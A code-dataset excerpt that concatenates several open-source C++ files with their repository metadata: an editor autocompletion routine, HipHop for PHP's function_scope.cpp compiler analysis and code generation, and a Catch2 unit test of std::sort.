// viEngine()->appendInsertedText(text.mid(sz));
//}
#if 0
text = text.mid(m_autoCmplFilter.size());
#else
auto pos0 = m_textCursor->position();
m_textCursor->setPosition(m_autoCmplPos, TextCursor::KEEP_ANCHOR); // 既に入力済みの部分を選択
QString t0 = m_textCursor->selectedText();
//if (autoClosed) {
qDebug() << "t0 = " << t0;
//int sz = t0.size();
int sz = qMax(m_autoCmplFilter.size(), t0.size());;
text = text.mid(sz);
m_textCursor->setPosition(pos0); // 選択解除
//}
//viEngine()->removeFromInsertedText(t0);
#endif
///viEngine()->removeFromInsertedText(m_autoCmplFilter);
//if( text.startsWith(t0) )
// viEngine()->appendInsertedText(text.mid(t0.size()));
QString t = autoIndentText();
QString dst;
pos_t pos = -1;
openUndoBlock();
for (int i = 0; i < text.size();) {
QChar ch = text[i++];
if( ch == '\\' && i < text.size() ) {
ch = text[i++];
if( ch == 't' )
ch = '\t';
else if( ch == 'n' ) {
insertText(dst);
insertText(t);
//insertText("\n");
dst.clear();
continue;
} else if( ch == 'c' ) {
insertText(dst);
pos = m_textCursor->position();
dst.clear();
continue;
}
}
dst += ch;
}
if( !editForVar(dst) ) {
m_noFallingChars = true;
insertText(dst);
m_noFallingChars = false;
} if( !m_autoCmplAtBegWord
&& !autoClosed ) // 自動確定の場合は、削除を行わない
{
// 確定後以降の英数字文字を削除
int p = m_textCursor->position();
while( isLetterOrNumberOrUnderbar(charAt(p)) ) ++p;
if( p != m_textCursor->position() ) {
m_textCursor->setPosition(p, TextCursor::KEEP_ANCHOR);
m_textCursor->deleteChar();
}
}
m_autoCmplAtBegWord = false;
closeUndoBlock();
if( pos >= 0 ) {
m_textCursor->setPosition(pos);
if( isLetterOrNumberOrUnderbar(QChar(charAt(pos))) )
m_textCursor->movePosition(TextCursor::END_WORD, TextCursor::KEEP_ANCHOR);
}
closeAutoCompletionDlg();
setFocus(); // ダイアログクリックで取られたフォーカスを戻す
update();
}
void EditView::autoCmplRejected()
{
closeAutoCompletionDlg();
setFocus(); // ダイアログクリックで取られたフォーカスを戻す
}
| 30.759341
| 119
| 0.633954
|
vivisuke
|
4dfda45d0eea8183289d885ea78bfd89a0cc3ee4
| 30,300
|
cpp
|
C++
|
src/lib/analysis/function_scope.cpp
|
paramah/hiphop-php-osx
|
5ed8c24abe8ad9fd7bc6dd4c28b4ffff23e54362
|
[
"PHP-3.01",
"Zend-2.0"
] | 1
|
2015-11-05T21:45:07.000Z
|
2015-11-05T21:45:07.000Z
|
src/lib/analysis/function_scope.cpp
|
brion/hiphop-php
|
df70a236e6418d533ac474be0c01f0ba87034d7f
|
[
"PHP-3.01",
"Zend-2.0"
] | null | null | null |
src/lib/analysis/function_scope.cpp
|
brion/hiphop-php
|
df70a236e6418d533ac474be0c01f0ba87034d7f
|
[
"PHP-3.01",
"Zend-2.0"
] | null | null | null |
/*
+----------------------------------------------------------------------+
| HipHop for PHP |
+----------------------------------------------------------------------+
| Copyright (c) 2010 Facebook, Inc. (http://www.facebook.com) |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
*/
#include <lib/analysis/function_scope.h>
#include <lib/analysis/analysis_result.h>
#include <lib/expression/modifier_expression.h>
#include <lib/expression/expression_list.h>
#include <lib/analysis/code_error.h>
#include <lib/statement/statement_list.h>
#include <lib/analysis/file_scope.h>
#include <lib/analysis/variable_table.h>
#include <util/logger.h>
#include <lib/option.h>
#include <lib/statement/method_statement.h>
#include <lib/statement/exp_statement.h>
#include <lib/expression/parameter_expression.h>
#include <lib/analysis/class_scope.h>
#include <util/util.h>
#include <cpp/base/class_info.h>
#include <lib/parser/hphp.tab.hpp>
using namespace HPHP;
using namespace std;
using namespace boost;
///////////////////////////////////////////////////////////////////////////////
FunctionScope::FunctionScope(AnalysisResultPtr ar, bool method,
const std::string &name, StatementPtr stmt,
bool reference, int minParam, int maxParam,
ModifierExpressionPtr modifiers,
int attribute, FileScopePtr file,
bool inPseudoMain /* = false */)
: BlockScope(name, stmt, BlockScope::FunctionScope),
m_method(method), m_file(file), m_minParam(0), m_maxParam(0),
m_attribute(attribute), m_refReturn(reference), m_modifiers(modifiers),
m_virtual(false), m_overriding(false), m_redeclaring(-1),
m_volatile(false), m_ignored(false), m_pseudoMain(inPseudoMain),
m_magicMethod(false), m_system(false), m_inlineable(false),
m_containsThis(false), m_callTempCountMax(0), m_callTempCountCurrent(0) {
bool canInline = true;
if (inPseudoMain) {
canInline = false;
m_variables->forceVariants(ar);
setReturnType(ar, Type::Variant);
}
setParamCounts(minParam, maxParam);
if (m_refReturn) {
m_returnType = Type::Variant;
}
// FileScope's flags are from parser, but VariableTable has more flags
// coming from type inference phase. So we are tranferring these two
// flags just for better modularization between FileScope and VariableTable.
if (m_attribute & FileScope::ContainsDynamicVariable) {
m_variables->setAttribute(VariableTable::ContainsDynamicVariable);
}
if (m_attribute & FileScope::ContainsLDynamicVariable) {
m_variables->setAttribute(VariableTable::ContainsLDynamicVariable);
}
if (m_attribute & FileScope::ContainsExtract) {
m_variables->setAttribute(VariableTable::ContainsExtract);
}
if (m_attribute & FileScope::ContainsCompact) {
m_variables->setAttribute(VariableTable::ContainsCompact);
}
if (m_attribute & FileScope::ContainsUnset) {
m_variables->setAttribute(VariableTable::ContainsUnset);
}
if (m_attribute & FileScope::ContainsGetDefinedVars) {
m_variables->setAttribute(VariableTable::ContainsGetDefinedVars);
}
if (m_stmt && Option::AllVolatile) {
m_volatile = true;
}
m_dynamic = Option::isDynamicFunction(method, m_name) ||
Option::EnableEval == Option::FullEval;
if (modifiers) {
m_virtual = modifiers->isAbstract();
}
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
StatementListPtr stmts = stmt->getStmts();
if (stmts) {
if (stmts->getRecursiveCount() > Option::InlineFunctionThreshold)
canInline = false;
for (int i = 0; i < stmts->getCount(); i++) {
StatementPtr stmt = (*stmts)[i];
stmt->setFileLevel();
if (stmt->is(Statement::KindOfExpStatement)) {
ExpStatementPtr expStmt = dynamic_pointer_cast<ExpStatement>(stmt);
ExpressionPtr exp = expStmt->getExpression();
exp->setTopLevel();
}
}
}
} else {
canInline = false;
}
m_inlineable = canInline;
}
FunctionScope::FunctionScope(bool method, const std::string &name,
bool reference)
: BlockScope(name, StatementPtr(), BlockScope::FunctionScope),
m_method(method), m_minParam(0), m_maxParam(0),
m_attribute(0), m_refReturn(reference),
m_modifiers(ModifierExpressionPtr()),
m_virtual(false), m_overriding(false), m_redeclaring(-1),
m_volatile(false), m_ignored(false),
m_pseudoMain(false), m_magicMethod(false), m_system(true),
m_inlineable(false), m_callTempCountMax(0), m_callTempCountCurrent(0) {
m_dynamic = Option::isDynamicFunction(method, m_name);
}
void FunctionScope::setParamCounts(int minParam, int maxParam) {
m_minParam = minParam;
m_maxParam = maxParam;
ASSERT(m_minParam >= 0 && m_maxParam >= m_minParam);
if (m_maxParam > 0) {
m_paramNames.resize(m_maxParam);
m_paramTypes.resize(m_maxParam);
m_refs.resize(m_maxParam);
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
ExpressionListPtr params = stmt->getParams();
for (int i = 0; i < m_maxParam; i++) {
if (stmt->isRef(i)) m_refs[i] = true;
ParameterExpressionPtr param =
dynamic_pointer_cast<ParameterExpression>((*params)[i]);
m_paramNames[i] = param->getName();
}
}
}
}
bool FunctionScope::isPublic() const {
return m_modifiers && m_modifiers->isPublic();
}
bool FunctionScope::isProtected() const {
return m_modifiers && m_modifiers->isProtected();
}
bool FunctionScope::isPrivate() const {
return m_modifiers && m_modifiers->isPrivate();
}
bool FunctionScope::isStatic() const {
return m_modifiers && m_modifiers->isStatic();
}
bool FunctionScope::isAbstract() const {
return m_modifiers && m_modifiers->isAbstract();
}
bool FunctionScope::isFinal() const {
return m_modifiers && m_modifiers->isFinal();
}
bool FunctionScope::isVariableArgument() const {
return m_attribute & FileScope::VariableArgument;
}
bool FunctionScope::isReferenceVariableArgument() const {
return m_attribute & FileScope::ReferenceVariableArgument;
}
void FunctionScope::setVariableArgument(bool reference) {
m_attribute |= FileScope::VariableArgument;
if (reference) {
m_attribute |= FileScope::ReferenceVariableArgument;
}
}
bool FunctionScope::hasEffect() const {
return (m_attribute & FileScope::NoEffect) == 0;
}
void FunctionScope::setNoEffect() {
m_attribute |= FileScope::NoEffect;
}
bool FunctionScope::isHelperFunction() const {
return m_attribute & FileScope::HelperFunction;
}
void FunctionScope::setHelperFunction() {
m_attribute |= FileScope::HelperFunction;
}
bool FunctionScope::containsReference() const {
return m_attribute & FileScope::ContainsReference;
}
bool FunctionScope::hasImpl() const {
if (!isUserFunction()) {
return !isAbstract();
}
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
return stmt->getStmts();
}
return false;
}
bool FunctionScope::isConstructor(ClassScopePtr cls) const {
return m_stmt && cls
&& (getName() == "__construct"
|| cls->classNameCtor() && getName() == cls->getName());
}
std::string FunctionScope::getOriginalName() const {
if (m_pseudoMain) return "";
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
return stmt->getOriginalName();
}
return m_name;
}
std::string FunctionScope::getFullName() const {
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
return stmt->getFullName();
}
return m_name;
}
///////////////////////////////////////////////////////////////////////////////
int FunctionScope::inferParamTypes(AnalysisResultPtr ar, ConstructPtr exp,
ExpressionListPtr params, bool &valid) {
valid = true;
if (!params) {
if (m_minParam > 0) {
if (ar->isFirstPass()) {
ar->getCodeError()->record(CodeError::TooFewArgument, exp, m_stmt);
}
valid = false;
}
return 0;
}
int ret = 0;
if (params->getCount() < m_minParam) {
if (ar->isFirstPass()) {
ar->getCodeError()->record(CodeError::TooFewArgument, exp, m_stmt);
}
valid = false;
}
if (params->getCount() > m_maxParam) {
if (isVariableArgument()) {
ret = params->getCount() - m_maxParam;
} else {
if (ar->isFirstPass()) {
ar->getCodeError()->record(CodeError::TooManyArgument, exp, m_stmt);
}
params->setOutputCount(m_maxParam);
}
}
bool canSetParamType = isUserFunction() && !m_overriding;
for (int i = 0; i < params->getCount(); i++) {
ExpressionPtr param = (*params)[i];
param->clearContext(Expression::InvokeArgument);
TypePtr expType;
if (!canSetParamType && i < m_maxParam) {
expType = param->inferAndCheck(ar, getParamType(i), false);
} else {
expType = param->inferAndCheck(ar, NEW_TYPE(Some), false);
}
if ((i < m_maxParam && isRefParam(i)) ||
(i >= m_maxParam && isReferenceVariableArgument())) {
param->setContext(Expression::LValue);
param->setContext(Expression::RefValue);
param->inferAndCheck(ar, Type::Variant, true);
} else if (!(param->getContext() & Expression::RefParameter)) {
param->clearContext(Expression::LValue);
param->clearContext(Expression::RefValue);
}
if (i < m_maxParam) {
TypePtr paramType = getParamType(i);
if (canSetParamType) {
paramType = setParamType(ar, i, expType);
}
if (!Type::IsLegalCast(ar, expType, paramType) &&
paramType->isNonConvertibleType()) {
param->inferAndCheck(ar, paramType, true);
}
param->setExpectedType(paramType);
}
}
return ret;
}
TypePtr FunctionScope::setParamType(AnalysisResultPtr ar, int index,
TypePtr type) {
ASSERT(index >= 0 && index < (int)m_paramTypes.size());
TypePtr paramType = m_paramTypes[index];
if (!paramType) paramType = NEW_TYPE(Some);
type = Type::Coerce(ar, paramType, type);
if (type && !Type::SameType(paramType, type)) {
ar->incNewlyInferred();
if (!ar->isFirstPass()) {
Logger::Verbose("Corrected paramter type %s -> %s",
paramType->toString().c_str(), type->toString().c_str());
}
}
m_paramTypes[index] = type;
return type;
}
TypePtr FunctionScope::getParamType(int index) {
ASSERT(index >= 0 && index < (int)m_paramTypes.size());
TypePtr paramType = m_paramTypes[index];
if (!paramType) {
paramType = NEW_TYPE(Some);
m_paramTypes[index] = paramType;
}
return paramType;
}
bool FunctionScope::isRefParam(int index) const {
ASSERT(index >= 0 && index < (int)m_refs.size());
return m_refs[index];
}
void FunctionScope::setRefParam(int index) {
ASSERT(index >= 0 && index < (int)m_refs.size());
m_refs[index] = true;
}
const std::string &FunctionScope::getParamName(int index) const {
ASSERT(index >= 0 && index < (int)m_paramNames.size());
return m_paramNames[index];
}
void FunctionScope::setParamName(int index, const std::string &name) {
ASSERT(index >= 0 && index < (int)m_paramNames.size());
m_paramNames[index] = name;
}
void FunctionScope::addModifier(int mod) {
if (!m_modifiers) {
m_modifiers =
ModifierExpressionPtr(new ModifierExpression(LocationPtr(),
Expression::KindOfModifierExpression));
}
m_modifiers->add(mod);
}
void FunctionScope::setStatic() {
if (!isStatic()) {
addModifier(T_STATIC);
}
}
void FunctionScope::setReturnType(AnalysisResultPtr ar, TypePtr type) {
// no change can be made to virtual function's prototype
if (m_overriding) return;
if (m_returnType) {
type = Type::Coerce(ar, m_returnType, type);
if (type && !Type::SameType(m_returnType, type)) {
ar->incNewlyInferred();
if (!ar->isFirstPass()) {
Logger::Verbose("Corrected function return type %s -> %s",
m_returnType->toString().c_str(),
type->toString().c_str());
}
}
}
if (!type->getName().empty()) {
FileScopePtr fs = getFileScope();
if (fs) fs->addClassDependency(ar, type->getName());
}
m_returnType = type;
}
void FunctionScope::setOverriding(TypePtr returnType,
TypePtr param1 /* = TypePtr() */,
TypePtr param2 /* = TypePtr() */) {
m_returnType = returnType;
m_overriding = true;
if (param1 && m_paramTypes.size() >= 1) m_paramTypes[0] = param1;
if (param2 && m_paramTypes.size() >= 2) m_paramTypes[1] = param2;
// TODO: remove this block and replace with stronger typing
// Right now, we have to avoid a situation where a parameter is assigned
// with different values, making them a Variant.
for (unsigned int i = 0; i < m_paramTypes.size(); i++) {
m_paramTypes[i] = Type::Variant;
}
}
///////////////////////////////////////////////////////////////////////////////
void FunctionScope::outputPHP(CodeGenerator &cg, AnalysisResultPtr ar) {
if (Option::GenerateInferredTypes && m_returnType) {
cg.printf("// @return %s\n", m_returnType->toString().c_str());
}
BlockScope::outputPHP(cg, ar);
}
void FunctionScope::outputCPP(CodeGenerator &cg, AnalysisResultPtr ar) {
for (int i = 0; i < m_callTempCountMax; i++) {
cg.printf("Variant %s%d;\n", Option::EvalOrderTempPrefix, i);
}
BlockScope::outputCPP(cg, ar);
}
void FunctionScope::outputCPPParamsDecl(CodeGenerator &cg,
AnalysisResultPtr ar,
ExpressionListPtr params,
bool showDefault) {
if (isVariableArgument()) {
cg.printf("int num_args, ");
if (params) {
params->outputCPP(cg, ar);
cg.printf(", ");
}
if (showDefault) {
cg.printf("Array args = Array()");
} else {
cg.printf("Array args /* = Array() */");
}
} else if (m_pseudoMain) {
if (showDefault) {
cg.printf("bool incOnce = false, LVariableTable* variables = NULL");
} else {
cg.printf("bool incOnce /* = false */, "
"LVariableTable* variables /* = NULL */");
}
} else if (params) {
params->outputCPP(cg, ar);
}
}
void FunctionScope::outputCPPParamsImpl(CodeGenerator &cg,
AnalysisResultPtr ar) {
int paramcount = getMaxParamCount();
if (isUserFunction()) {
outputCPPParamsDecl(cg, ar, dynamic_pointer_cast<MethodStatement>(getStmt())
->getParams(), false);
return;
}
bool first = true;
if (isVariableArgument()) {
cg.printf("int num_args");
first = false;
}
for (int i = 0; i < paramcount; i++) {
if (first) {
first = false;
} else {
cg.printf(", ");
}
TypePtr type = getParamType(i);
type->outputCPPDecl(cg, ar);
cg.printf(" a%d", i);
}
if (isVariableArgument()) {
cg.printf(", Array args /* = Array() */");
}
}
void FunctionScope::outputCPPParamsCall(CodeGenerator &cg,
AnalysisResultPtr ar,
bool aggregateParams) {
if (isVariableArgument()) {
cg.printf("num_args, ");
}
bool userFunc = isUserFunction();
ExpressionListPtr params;
if (userFunc) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
params = stmt->getParams();
}
if (aggregateParams) {
cg.printf("Array(");
if (m_maxParam) cg.printf("ArrayInit(%d).", m_maxParam);
}
for (int i = 0; i < m_maxParam; i++) {
if (i > 0) cg.printf(aggregateParams ? "." : ", ");
bool isRef;
if (userFunc) {
ParameterExpressionPtr param =
dynamic_pointer_cast<ParameterExpression>((*params)[i]);
isRef = param->isRef();
if (aggregateParams) cg.printf("set%s(%d, ", isRef ? "Ref" : "", i);
cg.printf("%sv_%s%s",
isRef ? "ref(" : "", param->getName().c_str(),
isRef ? ")" : "");
} else {
isRef = isRefParam(i);
if (aggregateParams) cg.printf("set%s(%d, ", isRef ? "Ref" : "", i);
cg.printf("%sa%d%s",
isRef ? "ref(" : "", i, isRef ? ")" : "");
}
if (aggregateParams) cg.printf(")");
}
if (aggregateParams) {
if (m_maxParam) cg.printf(".create()");
cg.printf(")");
}
if (isVariableArgument()) {
if (aggregateParams || m_maxParam > 0) cg.printf(",");
cg.printf("args");
}
}
void FunctionScope::outputCPPArguments(ExpressionListPtr params,
CodeGenerator &cg,
AnalysisResultPtr ar, int extraArg,
bool variableArgument,
int extraArgArrayId /* = -1 */) {
int paramCount = params ? params->getOutputCount() : 0;
ASSERT(extraArg <= paramCount);
int iMax = paramCount - extraArg;
bool extra = false;
if (variableArgument) {
if (paramCount == 0) {
cg.printf("0");
} else {
cg.printf("%d, ", paramCount);
}
}
bool hasEffect = params && params->controllingOrder();
int tempOffset = params ? params->tempOffset() : 0;
int firstExtra = 0;
for (int i = 0; i < paramCount; i++) {
ExpressionPtr param = (*params)[i];
cg.setItemIndex(i);
if (i > 0) cg.printf(extra ? "." : ", ");
if (!extra && (i == iMax || extraArg < 0)) {
if (extraArgArrayId != -1) {
if (cg.getOutput() == CodeGenerator::SystemCPP) {
cg.printf("SystemScalarArrays::%s[%d]",
Option::SystemScalarArrayName, extraArgArrayId);
} else {
cg.printf("ScalarArrays::%s[%d]",
Option::ScalarArrayName, extraArgArrayId);
}
break;
}
extra = true;
cg.printf("Array(ArrayInit(%d).", paramCount - i);
firstExtra = i;
}
if (extra) {
cg.printf("set(%d, ", i - firstExtra);
if (hasEffect && !param->isScalar()) {
cg.printf("%s%d", Option::EvalOrderTempPrefix, tempOffset + i);
} else {
param->outputCPP(cg, ar);
}
cg.printf(")");
} else {
if (hasEffect && !param->isScalar()) {
cg.printf("%s%d", Option::EvalOrderTempPrefix, tempOffset + i);
} else {
param->outputCPP(cg, ar);
}
}
}
if (extra) {
cg.printf(".create())");
}
}
void FunctionScope::outputCPPEffectiveArguments(ExpressionListPtr params,
CodeGenerator &cg,
AnalysisResultPtr ar) {
int paramCount = params ? params->getCount() : 0;
for (int i = 0; i < paramCount; i++) {
ExpressionPtr param = (*params)[i];
if (param->hasEffect()) {
param->outputCPP(cg, ar);
cg.printf(", ");
}
}
}
void FunctionScope::outputCPPDynamicInvoke(CodeGenerator &cg,
AnalysisResultPtr ar,
const char *funcPrefix,
const char *name,
bool voidWrapperOff /* = false */,
bool fewArgs /* = false */,
bool ret /* = true */,
const char *extraArg /* = NULL */) {
const char *voidWrapper = (m_returnType || voidWrapperOff) ? "" : ", null";
const char *retrn = ret ? "return " : "";
int maxParam = fewArgs ? (m_maxParam > Option::InvokeFewArgsCount ?
Option::InvokeFewArgsCount : m_maxParam)
: m_maxParam;
bool variable = isVariableArgument();
if (variable || getOptionalParamCount()) {
if (!fewArgs) {
cg.printf("int count = params.size();\n");
}
cg.printf("if (count <= %d) ", m_minParam);
}
stringstream callss;
callss << retrn << (m_refReturn ? "ref(" : "(") << funcPrefix << name << "(";
if (extraArg) {
callss << extraArg;
if (variable) {
callss << ",";
}
}
if (variable) {
callss << "count";
}
bool preArgs = variable || extraArg;
string call = callss.str();
cg.printf("%s", call.c_str());
for (int i = 0; i < m_minParam; i++) {
if (preArgs || i > 0) cg.printf(", ");
if (isRefParam(i)) {
if (fewArgs) {
cg.printf("ref(a%d)", i);
} else {
cg.printf("ref(const_cast<Array&>(params).lvalAt(%d))", i);
}
} else {
if (fewArgs) {
cg.printf("a%d", i);
} else {
cg.printf("params.rvalAt(%d)", i);
}
}
}
cg.printf(")%s);\n", voidWrapper);
for (int iMax = m_minParam + 1; iMax <= maxParam; iMax++) {
if (iMax < maxParam || variable) {
cg.printf("if (count == %d) ", iMax);
}
cg.printf("%s", call.c_str());
for (int i = 0; i < iMax; i++) {
if (preArgs || i > 0) cg.printf(", ");
if (isRefParam(i)) {
if (fewArgs) {
cg.printf("ref(a%d)", i);
} else {
cg.printf("ref(const_cast<Array&>(params).lvalAt(%d))", i);
}
} else {
if (fewArgs) {
cg.printf("a%d", i);
} else {
cg.printf("params.rvalAt(%d)", i);
}
}
}
cg.printf(")%s);\n", voidWrapper);
}
if (variable) {
if (fewArgs) {
if (maxParam == Option::InvokeFewArgsCount) return;
cg.printf("Array params;\n");
for (int i = maxParam; i < Option::InvokeFewArgsCount; i++) {
cg.printf(
"if (count >= %d) params.append(a%d);\n", i + 1, i);
}
}
cg.printf("%s,", call.c_str());
for (int i = 0; i < maxParam; i++) {
if (isRefParam(i)) {
if (fewArgs) {
cg.printf("ref(a%d), ", i);
} else {
cg.printf("ref(const_cast<Array&>(params).lvalAt(%d)), ", i);
}
} else {
if (fewArgs) {
cg.printf("a%d, ", i);
} else {
cg.printf("params.rvalAt(%d), ", i);
}
}
}
if (fewArgs) {
cg.printf("params)%s);\n", voidWrapper);
}
else {
cg.printf("params.slice(%d, count - %d, false))%s);\n",
maxParam, maxParam, voidWrapper);
}
}
}
void FunctionScope::outputCPPEvalInvoke(CodeGenerator &cg,
AnalysisResultPtr ar,
const char *funcPrefix,
const char *name,
bool profile,
const char *extraArg /* = NULL */) {
const char *voidWrapper = m_returnType ? "" : ", null";
const char *retrn = "return ";
int maxParam = m_maxParam;
bool variable = isVariableArgument();
stringstream callss;
callss << retrn << (m_refReturn ? "ref(" : "(") << funcPrefix << name << "(";
if (extraArg) {
callss << extraArg;
if (variable) {
callss << ",";
}
}
if (variable) {
callss << "count";
}
bool preArgs = variable || extraArg;
// Build temps
for (int i = 0; i < m_maxParam; i++) {
cg.printf("Variant a%d;\n", i);
}
cg.printf("const std::vector<Eval::ExpressionPtr> ¶ms = "
"caller->params();\n");
cg.printf("std::vector<Eval::ExpressionPtr>::const_iterator it = "
"params.begin();\n");
cg.indentBegin("do {\n");
for (int i = 0; i < m_maxParam; i++) {
cg.printf("if (it == params.end()) break;\n");
if (i < m_minParam && (preArgs || i > 0)) {
callss << ", ";
}
if (isRefParam(i)) {
if (i < m_minParam) callss << "ref(a" << i << ")";
cg.printf("a%d = ref((*it)->refval(env));\n", i);
} else {
if (i < m_minParam) callss << "a" << i;
cg.printf("a%d = (*it)->eval(env);\n", i);
}
cg.printf("it++;\n");
}
cg.indentEnd("} while(false);\n");
// Put extra args into vargs or just eval them
if (variable) {
cg.printf("Array vargs;\n");
}
cg.indentBegin("for (; it != params.end(); ++it) {\n");
const char *paramEval = "(*it)->eval(env)";
if (isReferenceVariableArgument()) {
paramEval = "ref((*it)->refval(env))";
}
if (variable) cg.printf("vargs.append(");
cg.printf(paramEval);
if (variable) cg.printf(")");
cg.printf(";\n");
cg.indentEnd("}\n");
if (profile) {
cg.printf("FUNCTION_INJECTION(%s);\n", name);
}
if (variable || getOptionalParamCount()) {
cg.printf("int count = params.size();\n");
cg.printf("if (count <= %d) ", m_minParam);
}
// No optional args
string call = callss.str();
cg.printf("%s", call.c_str());
cg.printf(")%s);\n", voidWrapper);
// Optional args
for (int iMax = m_minParam + 1; iMax <= maxParam; iMax++) {
if (iMax < maxParam || variable) {
cg.printf("if (count == %d) ", iMax);
}
cg.printf("%s", call.c_str());
for (int i = m_minParam; i < iMax; i++) {
if (i > 0 || preArgs) cg.printf(", ");
if (isRefParam(i)) {
cg.printf("ref(a%d)", i);
} else {
cg.printf("a%d", i);
}
}
cg.printf(")%s);\n", voidWrapper);
}
// Var args
if (variable) {
cg.printf("%s,", call.c_str());
for (int i = m_minParam; i < maxParam; i++) {
if (isRefParam(i)) {
cg.printf("ref(a%d), ", i);
} else {
cg.printf("a%d, ", i);
}
}
cg.printf("vargs)%s);\n", voidWrapper);
}
}
void FunctionScope::serialize(JSON::OutputStream &out) const {
JSON::MapStream ms(out);
int vis = 0;
if (isPublic()) vis = ClassScope::Public;
else if (isProtected()) vis = ClassScope::Protected;
else if (isPrivate()) vis = ClassScope::Protected;
int mod = 0;
if (isAbstract()) mod = ClassScope::Abstract;
else if (isFinal()) mod = ClassScope::Final;
if (!m_returnType) {
ms.add("retTp", -1);
} else if (m_returnType->isSpecificObject()) {
ms.add("retTp", m_returnType->getName());
} else {
ms.add("retTp", m_returnType->getKindOf());
}
ms.add("minArgs", m_minParam)
.add("maxArgs", m_maxParam)
.add("varArgs", isVariableArgument())
.add("static", isStatic())
.add("modifier", mod)
.add("visibility", vis)
.add("argIsRef", m_refs)
.done();
}
void FunctionScope::outputCPPCreateDecl(CodeGenerator &cg,
AnalysisResultPtr ar) {
ClassScopePtr scope = ar->getClassScope();
cg.printf("public: ObjectData *create(");
outputCPPParamsDecl(cg, ar,
dynamic_pointer_cast<MethodStatement>(getStmt())
->getParams(), true);
cg.printf(");\n");
cg.printf("public: ObjectData *dynCreate(CArrRef params, bool init = true);\n");
if (isDynamic())
cg.printf("public: void dynConstruct(CArrRef params);\n");
}
void FunctionScope::outputCPPCreateImpl(CodeGenerator &cg,
AnalysisResultPtr ar) {
ClassScopePtr scope = ar->getClassScope();
string clsNameStr = scope->getId();
const char *clsName = clsNameStr.c_str();
const char *consName = scope->classNameCtor() ? scope->getName().c_str()
: "__construct";
cg.printf("ObjectData *%s%s::create(",
Option::ClassPrefix, clsName);
outputCPPParamsImpl(cg, ar);
cg.indentBegin(") {\n");
cg.printf("init();\n");
cg.printf("%s%s(", Option::MethodPrefix, consName);
outputCPPParamsCall(cg, ar, false);
cg.printf(");\n");
cg.printf("return this;\n");
cg.indentEnd("}\n");
cg.indentBegin("ObjectData *%s%s::dynCreate(CArrRef params, "
"bool init /* = true */) {\n",
Option::ClassPrefix, clsName);
cg.indentBegin("if (init) {\n");
outputCPPDynamicInvoke(cg, ar, "","create",
true);
cg.indentEnd("} else return this;\n");
cg.indentEnd("}\n");
if (isDynamic()) {
cg.indentBegin("void %s%s::dynConstruct(CArrRef params) {\n",
Option::ClassPrefix, clsName);
outputCPPDynamicInvoke(cg, ar, Option::MethodPrefix,
consName, true, false, false);
cg.indentEnd("}\n");
}
}
void FunctionScope::outputCPPClassMap(CodeGenerator &cg, AnalysisResultPtr ar){
int attribute = ClassInfo::IsNothing;
if (!isUserFunction()) attribute |= ClassInfo::IsSystem;
if (isRedeclaring()) attribute |= ClassInfo::IsRedeclared;
if (isVolatile()) attribute |= ClassInfo::IsVolatile;
if (isRefReturn()) attribute |= ClassInfo::IsReference;
if (isProtected()) {
attribute |= ClassInfo::IsProtected;
} else if (isPrivate()) {
attribute |= ClassInfo::IsPrivate;
} else {
attribute |= ClassInfo::IsPublic;
}
if (isAbstract()) attribute |= ClassInfo::IsAbstract;
if (isStatic()) attribute |= ClassInfo::IsStatic;
if (isFinal()) attribute |= ClassInfo::IsFinal;
cg.printf("(const char *)0x%04X, \"%s\", NULL, NULL,\n", attribute,
m_name.c_str());
for (int i = 0; i < m_maxParam; i++) {
int attr = ClassInfo::IsNothing;
if (i >= m_minParam) attr |= ClassInfo::IsOptional;
if (isRefParam(i)) attr |= ClassInfo::IsReference;
cg.printf("(const char *)0x%04X, \"%s\", \"%s\", \"%s\",\n",
attr, m_paramNames[i].c_str(),
Util::toLower(m_paramTypes[i]->getPHPName()).c_str(),
(i >= m_minParam ? "1" : ""));
}
cg.printf("NULL,\n");
m_variables->outputCPPStaticVariables(cg, ar);
}
| 31.962025
| 82
| 0.577558
|
paramah
|
4dfeab4b98f8f52ff5827c4afa67ae550c330e27
| 1,080
|
cpp
|
C++
|
src/algorithms/sorting/25.7.1.1.sort.cpp
|
fvarose/cpp-standard
|
4a70bce440ef0c292d4cacd603331c590f5e4aed
|
[
"MIT"
] | null | null | null |
src/algorithms/sorting/25.7.1.1.sort.cpp
|
fvarose/cpp-standard
|
4a70bce440ef0c292d4cacd603331c590f5e4aed
|
[
"MIT"
] | null | null | null |
src/algorithms/sorting/25.7.1.1.sort.cpp
|
fvarose/cpp-standard
|
4a70bce440ef0c292d4cacd603331c590f5e4aed
|
[
"MIT"
] | 1
|
2018-10-21T10:50:27.000Z
|
2018-10-21T10:50:27.000Z
|
#include <catch2/catch_all.hpp>
#include <algorithm>
#include <vector>
using namespace Catch::Matchers;
TEST_CASE("25.7.1.1 sort") {
auto unsorted = std::vector<int>{1, 3, 0, 2};
SECTION("sort sorts a collection in place using the default operator<") {
auto expected = std::vector<int>{0, 1, 2, 3};
std::sort(unsorted.begin(), unsorted.end());
CHECK_THAT(unsorted, Equals(expected));
}
SECTION("sort sorts a collection in place using a comparison function") {
auto expected = std::vector<int>{3, 2, 1, 0};
auto compare = std::function<bool(int, int)>();
SECTION("using a standard library compare function object") {
compare = std::greater<int>();
}
SECTION("using a lambda") {
compare = [](int a, int b) { return a > b; };
}
SECTION("using a custom function object") {
struct CustomLess {
bool operator()(int a, int b) const { return a > b; }
};
compare = CustomLess{};
}
std::sort(unsorted.begin(), unsorted.end(), compare);
CHECK_THAT(unsorted, Equals(expected));
}
}
| 26.341463
| 75
| 0.623148
|
fvarose
|
1501eb88daa648d30ab0bfe9f24f24afa73cf5e9
| 705
|
cpp
|
C++
|
source/aufgabe13.cpp
|
Graunarmin/programmiersprachen-aufgabenblatt-3
|
c4a5f2c473460be02a73c819064b7deab85731b8
|
[
